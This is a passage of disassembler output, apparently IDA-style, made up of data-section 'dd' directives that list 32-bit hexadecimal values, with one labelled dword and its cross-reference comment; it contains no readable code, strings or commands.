5D590809h, 0FB0390C2h, 0AB05AA1Bh, 6F2D32F5h, 107ECF04h dd 0E75C4EB7h, 25B502Ch, 159E1E32h, 158E041h, 0C17F315Fh dd 0E8C6BF03h, 0D0C71691h, 12C62C9Eh, 0B14F0A8h, 71E91E54h dd 50B71D50h, 0E8C9091Eh, 0A35E844Bh, 0AD5F0E10h, 30BE101Dh dd 16BBACD7h, 0B0E35C6Dh, 0FC22E10h, 54AEC80h, 23BAFDD6h dd 0EFC954CBh, 252280F7h, 3ADC5C92h, 2E800C1h, 0E0E7A12Dh dd 0C24D89C5h, 0EAD49C40h, 29211090h, 12C15816h, 5AD0A4F2h dd 0FE98F213h, 34EFD416h, 35E3F43Ch, 3D38746Ah, 0CEBA5213h dd 8E8B4E4Ah, 0B99C7A7Ch, 4E120510h, 34C4CBh, 278C78D8h dd 0FDB0D729h, 0C3040882h, 96802FFh, 66E7D46Ah, 879C7101h dd 7284E904h, 0AFF06FACh, 665E933Eh, 64122680h, 0F50D0075h dd 0F77E2A6Fh, 50448D0h, 7DE64C1Ch, 0A4776DC7h, 0C35F1232h dd 5A510B86h, 0A45CC530h, 92699270h, 1DBD27BEh, 0F6F63A42h dd 9B53B613h, 0C3F54B05h, 3D816AB4h, 0D29DA3E7h, 1A84BC61h dd 0FA3C9B6Ah, 0B13E35CDh, 0BBF7550Eh, 94B07CAh, 5EC43CEDh dd 5555695h, 0E7011C44h, 0E1621601h, 893FF763h, 30967F67h dd 0F5D5E585h, 5C010208h, 3B5E0287h, 59C33248h, 0C21241A6h dd 0EF593A7Bh, 0DC38E0E4h, 0D174EA4Eh, 3FE8883h, 70CCC737h dd 0FC050342h, 0FF366A8h, 76E8C06h, 0EAD8D3B0h, 0D21689CBh dd 59E39C78h, 0A55C6795h, 0C3E8D556h, 174E5F13h, 0E7B9E4E1h dd 0E37797FFh, 0F51FBC1h, 0DE7B30F0h, 748B6525h, 36150013h dd 0C309795Ah, 134D4C95h, 0BB011FA0h, 5EFCECD8h, 0BBBF4197h dd 41432466h, 18834ACh, 0A760F131h, 92B54FA2h, 0A0D5848Dh dd 178FC6BBh, 0C1A613Eh, 30460D38h, 350BEED1h, 552D1B30h dd 7B78FAB1h, 75E057CDh, 80F59C40h, 4A146A0Ch, 23FACD29h dd 351A0B60h, 0B0716D28h, 0CE4820F5h, 0DB5A0AFEh, 0E9C2E6E7h dd 4775446Bh, 0CC253FBEh, 73B59C50h, 0A85F6484h, 0B6A95B3Eh dd 37554979h, 4A5B902h, 0A5575147h, 0AAA5D1EEh, 393A61DDh dd 0EFE2F99Ah, 0DDCF1041h, 4BBC6CC4h, 96A21E35h, 0CA685C06h dd 2F20CD6Dh, 0CF43F76Fh, 0F91940BAh, 0A56312C2h, 7E4D067Ch dd 94972772h, 0A8EA9520h, 964972D9h, 2C5548F7h, 0D00AD500h dd 4B06BD5Fh, 39C8C22Eh, 0D722911Ah, 54953A16h, 6127256h dd 20D8F07Fh, 4976DA29h, 77A76A32h, 0BDCE7CBDh, 0B254D993h dd 9B056B6h, 0D411E868h, 0EC8F62ADh, 390AD07Bh, 0D76BBD2Eh dd 0F99DE7B4h, 0C0C6C901h, 71FFB20h, 0E2338F0Dh, 2E1D5046h dd 35042DD1h, 237C3CF3h, 82BAC794h, 0D95540EFh, 0F6D2201Fh dd 2ACA3C2Ch, 0E33600CFh dd 5C482D15h, 8BE99BCBh, 999799AAh, 0EEE8846Fh, 4CA525E5h dd 10F26DFEh, 92B22A87h, 7A409FDEh, 16160BCBh, 9B0137F9h dd 83E9EB87h, 5E25F97Ch, 0FB537154h, 880B0BFAh, 0DA8C59ECh dd 0A995280Eh, 5C41D2A7h, 0A05BD8D5h, 574F085Bh, 0EA7F96F0h dd 2A30ED88h, 9258009Ch, 3DCF8102h, 7C259009h, 30A17647h dd 7813342Ch, 0CEE9380Bh, 0F6912BCDh, 0C9D028Eh, 5057731h dd 6DE90707h, 0F50BA7Ch, 0C4FE52B4h, 0F8E0F745h, 46D7D342h dd 2708696Ah, 0E8300E5Dh, 14DED8E5h, 5125EBAFh, 1FAB2F12h dd 0B85DBD05h, 46915B3Bh, 0CC2ACDF2h, 1E7E436Bh, 885A382Fh dd 800F35Ch, 1729956h, 2CD9AC2h, 0B6ED4171h, 34E1DA31h dd 4B6966CCh, 0C45FB849h, 0C4A54BDFh, 48DCCE5Eh, 36C06ACh dd 20C4C8Fh, 662F5382h, 0E088D601h, 0E9500508h, 35CFCCBh dd 0B568B252h, 45D5826Bh, 0F58086F5h, 0CB25F2ECh, 0B1615342h dd 0C85E1356h, 0E9EC294Eh, 6D8E624h, 572577BAh, 0A794D7E3h dd 3A599FB0h, 57502D13h, 54B5C39Eh, 0A3149247h, 445E3FB7h dd 8D2FEB1Ch, 58533CDEh, 7DE9C3F7h, 0A13D4C34h, 8584E94Bh dd 0FB472668h, 77F15BF9h, 0C8C1BF2Ch, 0B1C20A62h, 1E380D7h dd 6F5EAB91h, 811B130h, 6744BF01h, 26EE9320h, 42FCC689h dd 0C523AE35h, 93597DAh, 0C59C55E2h, 0FBDF68EBh, 5FD80D62h dd 925B6561h, 62CB5D4Fh, 0FFF82185h, 445FB22Eh, 14133A9Ah dd 0F7362461h, 25AED745h, 2DA3AB49h, 3E62EF92h, 2FE75C90h dd 20618561h, 95C73AFh, 4F6D12B0h, 1A9E87F8h, 227C6133h dd 44DDF70Fh, 89A80782h, 6A77F1C0h, 9C906071h, 8B6EF805h dd 81AB217Fh, 6C1F2702h, 5B7A9CAEh, 0B84BC7FDh, 0F410B1C3h dd 7C38000h, 39241F0h, 637D5C9Fh, 0CD108759h, 4B27FCC0h dd 0BEB0BFF8h, 0F3ECB877h, 0F469A906h, 2CB60140h, 4155FA0Ch dd 426360A5h, 0B174E8DFh, 0F010D00h, 26DEF753h, 0AF545EE9h dd 469D3772h, 20A9B080h, 5848E161h, 73ED04B9h, 9AC32816h dd 0F4958F4Ah, 8E2E83FCh, 0B5BE81FFh, 7A68C263h, 9DD07987h dd 79F5211Bh, 0BDED045Eh, 0AC05DFFDh, 0E5E94E1Bh, 0BECD22E4h dd 0CFB74778h, 0E78B9F88h, 1212BE5Fh, 0E8D37CE9h, 685FC141h dd 8F2A5434h, 8206496Dh, 54FCA2E9h, 0F85483Fh, 39A140B3h dd 0A7B1F781h, 542B570Dh, 0BA2CC368h, 0F5E9939Ch, 7E871011h dd 7DE77DC0h, 217527D2h, 0A0BE1E53h, 9314F1Bh, 9D78B792h dd 59E0F49Dh, 0B6883B21h, 0BFB39A0Ch, 5FE299D3h, 700DE052h dd 164F8B07h, 0AC85934h, 0F21504DEh, 0AB5C0120h, 0C04D2CDh dd 949806AFh, 0CB0737C3h, 59F60218h, 4BD422B4h, 0A18BE12Ch dd 0EA080238h, 0D859C80Ch, 128DBC15h, 0E95C2D1Fh, 57084030h dd 5A48497h, 0F58431B9h, 6D6802F3h, 24347D59h, 2253E90Ch dd 692F0A01h, 4075A0D5h, 3168B662h, 4C293C44h, 80B738BFh dd 965CA28h, 0E8969FD6h, 0AFA424Dh, 0C68555Eh, 6FA7BC8Ah dd 0CD0B111Fh, 4B1F0037h, 94CA34FCh, 2AA21D7h, 50D5530h dd 4F4BBE90h, 1002EB28h, 326D9212h, 6C13C8FEh, 28D00CA4h dd 0B6A9A1Ch, 3E05D72Ah, 33CC0908h, 2CAC40A1h, 0D118C9D9h dd 47A164AFh, 0D2422458h, 51CF0500h, 50BD7h, 572A694Fh dd 310DE0D1h, 686E5B26h, 0A3C4C012h, 0F7E29C80h, 39E50C56h dd 0C2CCEAC1h, 0F520D20Ch, 0FC670C4Eh, 0A8255B1Ch, 64555C8Fh dd 0B0FCEB70h, 5106BAD7h, 120607E3h, 92516605h, 7248644Dh dd 2E1E41BFh, 0DDBF12CDh, 0C35B2EA0h, 0EC80813Ch, 63B668DCh dd 9779373h, 84C6E919h, 3EA6C4C8h, 1674F35Ch, 0D4F73CADh dd 1B864B48h, 0F045ED4h, 0CC68C8BFh, 0E9C6C0FCh, 0AD90210Bh dd 0A0E85848h, 308405h, 802D150Dh, 17E1071h, 0F18FC74Eh dd 0E9545004h, 0B221A092h, 0FE59D277h, 55E75EF8h, 5837F50Ch dd 524F7C30h, 0FA60A38Dh, 6BAB2568h, 0C8A564D3h, 2D742C46h dd 37E123F9h, 0C13C7Eh, 0C586DB9h, 0F9CD091Bh, 29CDD27Eh dd 405A2DD4h, 46C02BEh, 0D6E974DDh, 0C996FCF1h, 7F8B5D12h dd 0CD5D7F8Bh, 0EA718990h, 566AE020h, 584E6E85h, 12DE3A0h dd 956F444Ah, 0B48BD4E9h, 0F7A8D08Fh, 753C5B0h, 91294B2Ah dd 0E0DC5D65h, 0B66AF920h, 3114274Eh, 0F0031969h, 3C120EE1h dd 332241E5h, 0B769709Eh, 8FDFF868h, 7FE6189Fh, 6CBE8054h dd 47383503h, 0E36BCE81h, 0C4FFC590h, 46BCC0DFh, 925A6CE9h dd 5EA02B98h, 0A8ECEC5Fh, 0E2917AEh, 42C8B169h, 0D073BBDCh dd 49CA143Dh, 2BE781A7h, 0C820846h, 0C9F51432h, 0AE3FE8D5h dd 3B6EBFFEh, 5CCD8102h, 87622E58h, 1D65B5CDh, 0CC2F80BBh dd 495CB255h, 6D250524h, 0F4873DEFh, 65183360h, 0D0D64FF7h dd 4F0CCE75h, 0F56E0626h, 463D102h, 72E37542h, 0E99891F7h dd 0E1853E0Ah, 1BB3B98h, 21B61325h, 6C7AE957h, 5B5F278Dh dd 48410DDCh, 0B65CD819h, 1E98B49Ah, 86DC700h, 0B8E38117h dd 373D2E19h, 6893C92h, 4F036059h, 2E9A0A50h, 81A85877h dd 0B9E75B08h, 4CCA8CE9h, 0D2252DE6h, 689FBADBh, 9FCD4516h dd 7C612ECCh, 12265D4Eh, 3E3AB900h, 0E1C156F6h, 0F1002A90h dd 1AF0859h, 0D3D64FE9h, 0C23CE026h, 0B4009541h, 605755FBh dd 6A030C7Eh, 0B953C61h, 585A7E6Ah, 59BF4FA0h, 54CD384Fh dd 42842E94h, 38E90564h, 78BBFA40h, 0B7444050h, 923FA259h dd 0A6402835h, 0C90D5FF8h, 5423849h, 1802585h, 0D353EA88h dd 71D2DAFAh, 7CBC3C5Ah, 3224A1B5h, 0A309D696h, 1E28056Dh dd 2AB1F471h, 0DB90DDB6h, 12D210F6h, 3A20F702h, 0EF73C016h dd 27F71F1Ch, 387A413Eh, 2EE5BAE9h, 0ADEBFE91h, 0EBD2AF29h dd 502D15CAh, 5FC94DD6h, 65A32846h, 8A172B8h, 25E9503Ah dd 0A4A7CEDBh, 0E1924E1Ah, 44707F59h, 4CB32DEAh, 1048B146h dd 13EEC71Ah, 0A53C3BFEh, 0EA16BBEAh, 0D8CBA03Dh, 2E7ADF05h dd 7426CB5h, 8B340760h, 2427B470h, 0E295C822h, 0A5BC993Bh dd 5025B2DCh, 62F69F5Eh, 8250C1DAh, 80C8B700h, 9D5FCF39h dd 0C797FAE7h, 0AE79B404h, 35C85B09h, 0AFA8B46Dh, 0D12C580Eh dd 9A2AA964h, 8F685B09h, 60467E31h, 6E2C01Dh, 466807C2h dd 0B356A027h, 9E380EEh, 0EB76E92Eh, 28A55720h, 0F7353854h dd 75EC05DBh, 951D6509h, 47E7C706h, 0A5E4F99Dh, 0A80475FBh dd 80F80114h, 4622BB8Bh, 0FA61F8B6h, 49B324Ch, 35B37378h dd 1069C180h, 35484CE4h, 0A8D9B574h, 1497393h, 77534ABEh dd 93E5FF08h, 0A576AD5Bh, 0ADBF8CEAh, 78ADD941h, 4D5930A2h dd 55021A57h, 3E81FD61h, 0B9DD8FD3h, 3981FD21h, 50AF1CC5h dd 4F4B2CAAh, 6AA2B974h, 9935F993h, 0DC7A50BEh, 72905C4Dh dd 4C152A26h, 0E456DD40h, 91AAC039h, 5374953h, 7A484E09h dd 2D408541h, 3ABF0713h, 0BDE90D10h, 0A02B1043h, 5761C18Bh dd 8D5CD1A0h, 5A2FE9D4h, 512E8DA9h, 50D6923Bh, 37DEF680h dd 0F07CE13Dh, 6805CABCh, 0FC465C7Dh, 1E0A35DCh, 0C05E5C1h dd 9107A7Bh, 165AD533h, 0E3B8D906h, 0B73753Eh, 0E4C35578h dd 5B57DEA5h, 0A4965589h, 104D0556h, 9A7A0175h, 2F250304h dd 787B7F45h, 97570E00h, 0B529BFF6h, 7E8CD379h, 0B55622E8h dd 5D524174h, 8A82EB4Eh, 0A718C775h, 22E3B556h, 5D4D2CE1h dd 44920E9Ah, 0BF4B4F24h, 54802FC4h, 0C0F20763h, 1868E768h dd 0CC019BBh, 3EEB4404h, 503B32E9h, 9BC35946h, 6FE220F7h dd 6EB06A93h, 0EC5AA740h dd 0EB11609Bh, 2A4CE8EAh, 70272F7Bh, 0F021C420h, 243B4F99h dd 15CEAF01h, 0ED68C065h, 0B2E9164Dh, 2F5880E3h, 0C98AE21Fh dd 0AC067F94h, 0EF057996h, 32EC4FAEh, 0CF2500FAh, 20906856h dd 0DB4E1CC1h, 0DB2082EEh, 0E1C94AE9h, 0C9F62B96h, 2A28532Ch dd 1ADE95B8h, 0CE16C2h, 0F52348B9h, 0D0144D65h, 5E09165Eh dd 0AD00D37Dh, 71DE4DE2h, 2FD97CC9h, 0D7DDB0Ah, 0DC48F31Ah dd 800748B1h, 0CB3003F1h, 0B142C1D5h, 4C1CD368h, 66554C0Dh dd 94A0AF2Dh, 3F77A8DBh, 2D656095h, 0C9E6BDA9h, 0D25747Ah dd 78749E60h, 4B079E5Eh, 444BBC4Ch, 0F9B73861h, 25A6632Eh dd 0F781A71Dh, 63163F85h, 0C62D2ED1h, 0EA51DDFCh, 1D1302DCh dd 0D0E3E90Ch, 7D688AEAh, 8080ED65h, 58E424C3h, 1AB75CC2h dd 97E0775Dh, 0F725E9C2h, 3C26F9E2h, 21537416h, 6B06B296h dd 2F59573Ch, 0F8669A68h, 2E7CBB01h, 3FE912D3h, 33021BAFh dd 0E45F06EDh, 0C7BA04C7h, 80167562h, 790964C6h, 360CFB60h dd 5522F0Eh, 1A24612Dh, 88E09176h, 0C8AA04DCh, 6C2568FCh dd 491AD12Fh, 0DC1CEEC8h, 0EE6233BAh, 0FDF5D6h, 706C8FB8h dd 0D7356601h, 2D40AD3Eh, 5AC0D8D8h, 5F0EECC4h, 41EB42F4h dd 0D9A82D4h, 559F704Dh, 0E12483D0h, 51F1B07h, 2197C9C1h dd 0C8432BFh, 87FC75F1h, 41FA5093h, 0CC23A06h, 41BF2907h dd 9DA58C2Bh, 0C3C553DCh, 0B2C0994Dh, 50060683h, 7AF226B4h dd 535FE558h, 2260D999h, 0A9085A4Fh, 10749430h, 0B902E0EAh dd 0D831FF4h, 5E979F78h, 4D72801Ah, 0B0E938D5h, 0F5D7714Fh dd 77804272h, 0D98482A9h, 85B7AAC2h, 65DD0769h, 9FE90419h dd 9110887Dh, 7C9F2C70h, 5DD4FA84h, 0B0BD5560h, 6C0C2C7Ch dd 0CD81814Ch, 40644058h, 11D049Fh, 0E8DDEE9Fh, 0E66BCB0Bh dd 6020408Bh, 1E4CF381h, 39E8FA4Ah, 2D267C03h, 6193E933h dd 5FFBE707h, 6A4DA89h, 0E1C07791h, 30601DBh, 0B353D1F6h dd 16B520A0h, 0F70F3E6h, 885BD917h, 3410A7FCh, 0DE844EF7h dd 0E4FEF2FAh, 9B1C75A8h, 0BA5F2D19h, 27C1E5A0h, 60E89A5Fh dd 5A37430Ch, 0FCFD40Fh, 8AC75D08h, 50920AACh, 5680AFFDh dd 2A5E7858h, 0BB82DA5Fh, 7A892DE7h, 0DFBE0E03h, 6750DA27h dd 2CE984CEh, 5BA81682h, 7519028h, 312002EFh, 3ED8B22Bh dd 54904748h, 0B20E9731h, 36D9C6A8h, 0E2CF812Eh, 407B0750h dd 92DEBF3h, 292E8E3Bh, 8046942h, 2CE4EF5Ah, 0D2224B47h dd 23DF376Dh, 1643F14Dh, 0F824A19Fh, 15D88122h, 0A56F1A4Eh dd 2051CC4Dh, 6CB5695Fh, 0B7046CECh, 68120AE4h, 6F33215Fh dd 1D9EC955h, 0E6C06F38h, 520C7532h, 2DB76A92h, 0FE6CF61Ch dd 0EB893D78h, 0A9124BBDh, 0CB30F3F9h, 0F0B5EA73h, 0A64F309Ch dd 44B0CE2Dh, 5527F92Dh, 0E5E66598h, 405D7912h, 76A3F90Bh dd 0BA25C527h, 485CD709h, 0C7FC4128h, 7469B63Ah, 7EE1B9h dd 385F05F3h, 58DDC197h, 9DF6B320h, 5B8E27F1h, 0FC2F3C01h dd 0CA2258E5h, 18D14380h, 0EADBF7EBh, 3BE14276h, 81B051A8h dd 31261AC7h, 0E70DB4F5h, 0C341192Dh, 7206B1A2h, 685FF909h dd 8B57FEA1h, 9FAF4BF6h, 0CDD3CBC9h, 2C3EE33Ch, 0C1632506h dd 9CF655DAh, 47D7764Bh, 40E0EF75h, 38C0B75Fh, 8C1158F2h dd 2939CE3Eh, 4E4C2D83h, 67585950h, 68C72ED8h, 6B79C2A0h dd 0C5F66DEEh, 58912BF5h, 0C259848Dh, 0D00E8941h, 4DA4C510h dd 6FA060B8h, 7A1D769Fh, 3A70162h, 0FA6E84AFh, 3A9E17Bh dd 81EFB744h, 0E44FA498h, 0D64FF72Fh, 4C0C56B4h, 3C58895Fh dd 957ED305h, 1006AC49h, 5201A82Dh, 8472C068h, 3C466B47h dd 4C3FAF4h, 0D20283C7h, 1918C159h, 5BFA06DCh, 0D66DB289h dd 0D05D19BAh, 4FF578E7h, 0FEB184B8h, 806064C6h, 2C3BF0EAh dd 4273CB7h, 32B4E97Dh, 0B23E4BEFh, 895D0BC2h, 4506F5A8h dd 4FB254BFh, 1970E919h, 0DDDDE823h, 927E768h, 51653B79h dd 19459401h, 0C33E767Bh, 5A4F315Ch, 0D0ED499Dh, 0E59AE83Eh dd 0D9538685h, 0ED1FA105h, 1EE6D9BCh, 5FE23A59h, 0BE96D1E2h dd 0F362EC21h, 0A9331605h, 0BFFC0EB5h, 86B0529Dh, 296D2668h dd 0F2006927h, 13BF7387h, 1A07E91Ch, 0F7614A38h, 1CE16866h dd 28D52D2h, 0E99BB050h, 5BD9EA77h, 68DB6809h, 82073508h dd 0D03EE0D5h, 0B751F0Fh, 0C427524Eh, 0E449C9B7h, 77C05779h dd 0B9512077h, 362C0A86h, 12914942h, 3E448979h, 0F5813C00h dd 2DC30982h, 0A1833132h, 73768036h, 83531E67h, 0B3345FEBh dd 80275E9Fh, 0FDB151A7h, 0E916C9FEh, 0A3203D95h, 3BE315BCh dd 0CA682957h, 60732508h, 0F360F22Fh, 0AF62126Eh, 0FC2A38CFh dd 0BB215BD1h, 0AE378E12h, 48040961h, 60046F68h, 0BC715A2Fh dd 8EE28D7h, 505A53F4h, 188892B0h, 0F4133335h, 1808A48h dd 0F86C9FD3h, 0A4841A4Ah, 5C537CAEh, 4A3CE918h, 0C8FA8812h dd 5124A154h, 53D7D81Fh, 0E4BFB540h, 18446664h, 0B2EFC147h dd 46F24AF7h, 40EF57ECh, 6A7FD288h, 0D85D0A28h, 3C5F0781h dd 0CA8B5F8Dh, 42D84A77h, 5F8EE934h, 0EF68100h, 0C42650F2h dd 0B1EEC4F3h, 5C450CF1h, 44B1DCBh, 0ABED8F6Dh, 0BE41C15Eh dd 0FE679DA1h, 0B82D897Eh, 0C5F1211Bh, 0E3EE234Ah, 9DF0E31h dd 36AF1701h, 0A10B0C2Ah, 62F6D266h, 17317DEEh, 9E24C005h dd 521E5660h, 97CAEBE9h, 0AD139D4h, 0BA5A8564h, 0BE741D3Ch dd 3BE38172h, 3073A20Dh, 80E01730h, 0D2C4015Ah, 877382AAh dd 0C4168108h, 4005D9D2h, 5BF761B0h, 80675DDFh, 6A3DDCCBh dd 0B7BBFB01h, 0D0B32914h, 68F00909h, 0E90FE0BDh, 6C6F5D91h dd 0CC0ABC16h, 0FE34B708h, 0A804CBh, 4D3F618h, 0E554DCE9h dd 120DEBB2h, 0C584D5Ah, 384C0881h, 81D330E9h, 13FCBB22h dd 0BC8018E0h, 780E0DB1h, 584F42E9h, 48046EE2h, 0AF14C422h dd 5626ACCFh, 72F0015h, 25BE35AAh, 705B497Ah, 964E2EF4h dd 0B5542753h, 12E648EEh, 41535E56h, 5851FA7Fh, 0E1064435h dd 36F1EBE2h, 89962459h, 2D4050Bh, 3A7A0209h, 0E19ADF6Ch dd 375163D0h, 0D8B4C0D9h, 0D8E1202Dh, 4B4C20FDh, 1CE6883Ch dd 923DB753h, 59A3129Ch, 3C3C6F10h, 5AD7925Bh, 0DBACAC17h dd 69221301h, 40C72948h, 3161E7AAh, 79498D58h, 2F06D909h dword_4F0044 dd 5E520BEFh, 0AF0CB57Eh, 69E98A42h, 30F177CEh, 0A978A94Fh ; DATA XREF: ___:00437A2Co dd 20D37A1Ah, 4E099E7Bh, 711FDA68h, 0B385BC35h, 8B76581Eh dd 0D8F700D6h, 87A55E35h, 0A0507E88h, 2430D788h, 16282D54h dd 0D364E9B7h, 81A664BBh, 0C2993D37h, 5843797Fh, 5D5A6C68h dd 0E9E056BCh, 47B47955h, 18C8FA49h, 23444D68h, 5280BC91h dd 720914BAh, 6918F741h, 0C2CF83FFh, 0A5D35724h, 7104E71Fh dd 0AB804A77h, 4BF17585h, 0DB62776Eh, 28ECE280h, 0E93AE3C7h dd 0CDBC4E54h, 9C4B5694h, 450315DEh, 83E97789h, 0EC2C5FCFh dd 60049A8Eh, 0B343A20h, 15E9CE1Ah, 785F1562h, 5A26B6A8h dd 2F0CF3D5h, 68481C60h, 0D97E4A25h, 98D0A003h, 0E90BC2A5h dd 2F8DC1E6h, 0BD1DFCEh, 133D7056h, 8BA9DC5Fh, 7A9B91A4h dd 9F337BCAh, 0CDC1D3D9h, 4ED7DA4h, 2939BA68h, 38A81C2h dd 1BB3BBFEh, 0E17D8AC5h, 1A40C182h, 173A8FFDh, 71C68939h dd 0A4E9F0A9h, 0F581D4EAh, 3CA326BBh, 1E580C83h, 0AAF536B0h dd 5F7580F6h, 8EEEB2A7h, 0CEBA72C5h, 936809FEh, 0A6FA5950h dd 15174A09h, 35018CA5h, 430A1BA3h, 7225CC05h, 376E046Fh dd 68C28AB8h, 0A94C0BC7h, 0B7E9530Ch, 3CC1155Ah, 5D8A3158h dd 2F91CB21h, 0D2412442h, 10643BEAh, 0E86EDEB5h, 16F5A605h dd 0E9516858h, 0F3FB1056h, 0DC03F05Ah, 0EC01102Dh, 0BB6817BBh dd 0A561EA2Dh, 0FC5823A9h, 57B05168h, 1619D4A6h, 1249CE45h dd 26849DE9h, 5A4928AAh, 0B301BB90h, 0C175F757h, 7F7008EAh dd 98AA7748h, 9CFD78C3h, 318C4D82h, 3EE94DE1h, 1825C58Bh dd 0B105137Ch, 6FE0827h, 0F9341FE7h, 446F358h, 22327E3Bh dd 0F08F3581h, 42D2F700h, 335B47F0h, 8E039041h, 0B47E67C2h dd 6F60FC4Fh, 523C61Dh, 28707653h, 81EB3DE6h, 0DF35EDDBh dd 6934A77Eh, 61AD468h, 15708668h, 40677138h, 8C5C5BA9h dd 2954224Dh, 80160592h, 0ABEF753h, 27072DE4h, 9CC27BF9h dd 40999A02h, 5D4204h, 0BB530A20h, 798D5F85h, 0D60BAD98h dd 5719AF74h, 21EB2DA0h, 375F3E5Ah, 18931FB1h, 8A580203h dd 0B480CA3Fh, 0C867BAE9h, 60C4361h, 0F330CD62h, 308D70C9h dd 6718482Fh, 6D4FD98Bh, 0C4AB97C4h, 65A11240h, 159B8093h dd 34EBE39h, 0E91F85BCh, 0F792AFC7h, 0BBE58563h, 0FF34DF75h dd 445CAE62h, 25CA9848h, 1B4E2961h, 0B2565897h, 0BFC1E6DAh dd 0D9BFE36Ch, 50415AD8h, 1EB9004Ah, 8AA3D19h, 0B5C83B2Fh dd 39F883EEh, 0C6010E1Eh, 2F085139h, 64ACE860h, 22746BBDh dd 3ED6777Ah, 0D15B83F3h, 35DFE98Fh, 4B6920A8h, 303AAE16h dd 1F321DA1h, 2267F707h, 0EC44851Bh, 1101CC78h, 0C9775DE9h dd 61C2034Ah, 89DAFC48h, 63DE71D5h, 46F95B59h, 34387E16h dd 209F02B4h, 0C78058E7h, 7AFEA4C1h, 0FD3B1B29h, 0C6099336h dd 834CDFF8h, 97E1F63Eh, 0ACB31BD8h, 12EDF702h, 54D61A0Bh dd 5F545741h, 7226C6Ah, 5497CC70h, 987D727Ah, 0B5C331EBh dd 20BE0222h, 2817B300h, 0ADFCC5D8h, 9CD0FC1Dh, 7E3EB082h dd 9D1A5D59h, 69AA8C8Bh, 0BAAAA874h, 38B2C78h, 1D6D1098h dd 9E6F0F68h, 20E0AE19h, 5D4C7B4Fh, 9F791C46h, 6806512Dh dd 0A71A743h, 0F90C1726h, 0CBB0E6Eh, 0BF01BB0h, 471A1E24h dd 41AB530Ch, 385FF0Bh, 0F9C57FE9h, 192D0013h, 573AE4Eh dd 4A631267h, 5864B34Ch, 9C1A1003h, 0DDF18101h, 0ECCFAC69h dd 0EDCE4C10h, 0DCF95201h, 491DC99Fh, 79AC5051h, 5B72E949h dd 82B1A37Fh, 0DD188468h, 5D9233E7h, 0F8F4A0BCh, 0C326D8EFh dd 0A6714B8h, 890EA2Ch, 738F0A58h, 5025383Ch, 7D7207D6h dd 68E82A66h, 7195FF77h, 0BFD7E292h, 9F7E7357h, 0B67165BDh dd 0C9304A8Bh, 92C11CA9h, 0B953346Fh, 151858E5h, 0C38C521Eh dd 8939BE56h, 847F29CDh, 86CC12DDh, 22E10ABh, 5813A952h dd 2548F0h, 1A837EF1h, 2670E10Dh, 0AE353202h, 0FD763042h dd 0A47CADE1h, 0C13018ADh, 7EFCBEh, 0EBBB66F4h, 31C05770h dd 994A689Fh, 733F0B7Ch, 0C37805E9h, 48D0B432h, 0F05A068Eh dd 2FF55A97h, 0B9CD5E54h, 0CC856C13h, 7FAF39EFh, 6E4DB338h dd 85C65DE4h, 0D9805762h, 0F32E10C2h, 425A0F4Ah, 0E90F01AEh dd 42A5C0EAh, 0C3EC8057h, 5077D5FCh, 6E4CAADh, 125B037h dd 88194D9h, 0E770705Bh, 5EC03803h, 22D8F740h, 26EC5D82h dd 0B131FB1Eh, 54742CC9h, 2B7EAD85h, 8640A081h, 76B90130h dd 480249DDh, 5E372F03h, 4454D9E0h, 0C0CDD9B7h, 77118DEBh dd 88013D2Fh, 7C2D084Eh, 94515AABh, 0F35F090Eh, 5FEEAAC8h dd 21EBF748h, 0BE760FD2h, 0AFECA6BFh, 0C8626EF3h, 0F2E6DDE4h dd 8BBCEC4Fh, 7A3126D4h, 0E151E3CBh, 11163AA2h, 0CB3BC1FEh dd 8014C219h, 0A85F071Fh, 27685B27h, 97196A40h, 4657C2D6h dd 968F665Bh, 27CBC116h, 0E8EB8754h, 0A22D539Fh, 0D4E020F8h dd 0C317B61Ch, 37A8E375h, 0CC004BFCh, 0F4D7C480h, 247F62E0h dd 7941F75Bh, 8823D245h, 0E304DFFCh, 2813EECBh, 0B11101C3h dd 8CC1800Ch, 0BE0BEB3Ah, 82E60681h, 0C48393Ch, 5302E71Ch dd 5C0293A4h, 7D72CF1Bh, 120579E3h, 0A1A4EB16h, 41C1FF0Fh dd 0F3292623h, 823E1F60h, 5BDA2240h, 68E3989Fh, 6E1A55DEh dd 0B1C160h, 8111FF7Dh, 5A1E7CC5h, 453B6C58h, 3BAC6AE2h dd 0CC7702F2h, 0D2E64FD3h, 8F40EA0Ah, 120E102Bh, 0A0BB5316h dd 0E934291Fh, 0E225D5Fh, 59386F09h, 9314555h, 87DAA790h dd 3D426A58h, 0CBD5927Bh, 12F1E8F0h, 0A02A9D33h, 11D57ABh dd 5EF34F79h, 0BD2474C1h, 0BCC081C4h, 1031154Ch, 0AACBDF01h dd 1623D20Ah, 1DD618E0h, 0E00557ADh, 738CE90Eh, 8EC5E7ECh dd 349F4CEh, 50D2F71Eh, 0BDC4DAFEh, 24C3F7FFh, 0C170C5C3h dd 680F9E3h, 0D3685207h, 465BC526h, 7D692500h, 5810375h dd 0DB488AE5h, 21CF0033h, 2964E3CFh, 0C2EF6097h, 5BF00956h dd 23FD3195h, 844DBFFAh, 0CB36F2FBh, 0DF2255FEh, 2905BC88h dd 96CD1DABh, 33DD44D0h, 0DA30EB43h, 4E785FC3h, 6DB93Ah dd 644842AAh, 9F62CAE9h, 0C9BD5A14h, 7CEA6BD7h, 305C42EAh dd 68598EC0h, 0F4A828F2h, 5081F015h, 0C54156ECh, 0A489F617h dd 2B1DE610h, 0EA806D5Bh, 13C95590h, 14872F5Eh, 3158595Eh dd 0BF74D611h, 48C361D0h, 0B96E4B23h, 380841BAh, 788DB25Bh dd 3CB33B3Dh, 71E0BEA7h, 0E7BF5954h, 0CF7EAFF6h, 0A0526850h dd 0D3C6B464h, 0C888EA42h, 0E9584AC2h, 6A790433h, 0E94F09F2h dd 3FF7A1D3h, 0E9F169BCh, 0A03F7B6h, 0B252505Ch, 0C3E8FB4h dd 0E5D742D4h, 8079B004h, 0F642EF1Eh, 82C7FEC9h, 0D61DA7BCh dd 12E148ECh, 67BED5h, 0C4FC23A2h, 52661E62h, 17F66DBDh dd 5F5108A0h, 0D3B06F83h, 4C7B505h, 0BB95193Fh, 8360C8F7h dd 0F259C0C2h, 54570784h, 87889F90h, 290248E2h, 1E965FEh dd 86395ECBh, 168706D6h, 7F1E52BDh, 80B75081h, 6D80C87Bh dd 3E116806h, 0CC5F2079h, 0DDDF3127h, 0E92FB99Ch, 0D0CF89B0h dd 2E0F20BFh, 92E0585Ah, 84061BA6h, 0C4FCA20Eh, 0AAEE94C0h dd 0C23EF92Dh, 4B4AFADBh, 359ADF36h, 0E9892EB9h, 559442F2h dd 895F9409h, 673B909Bh, 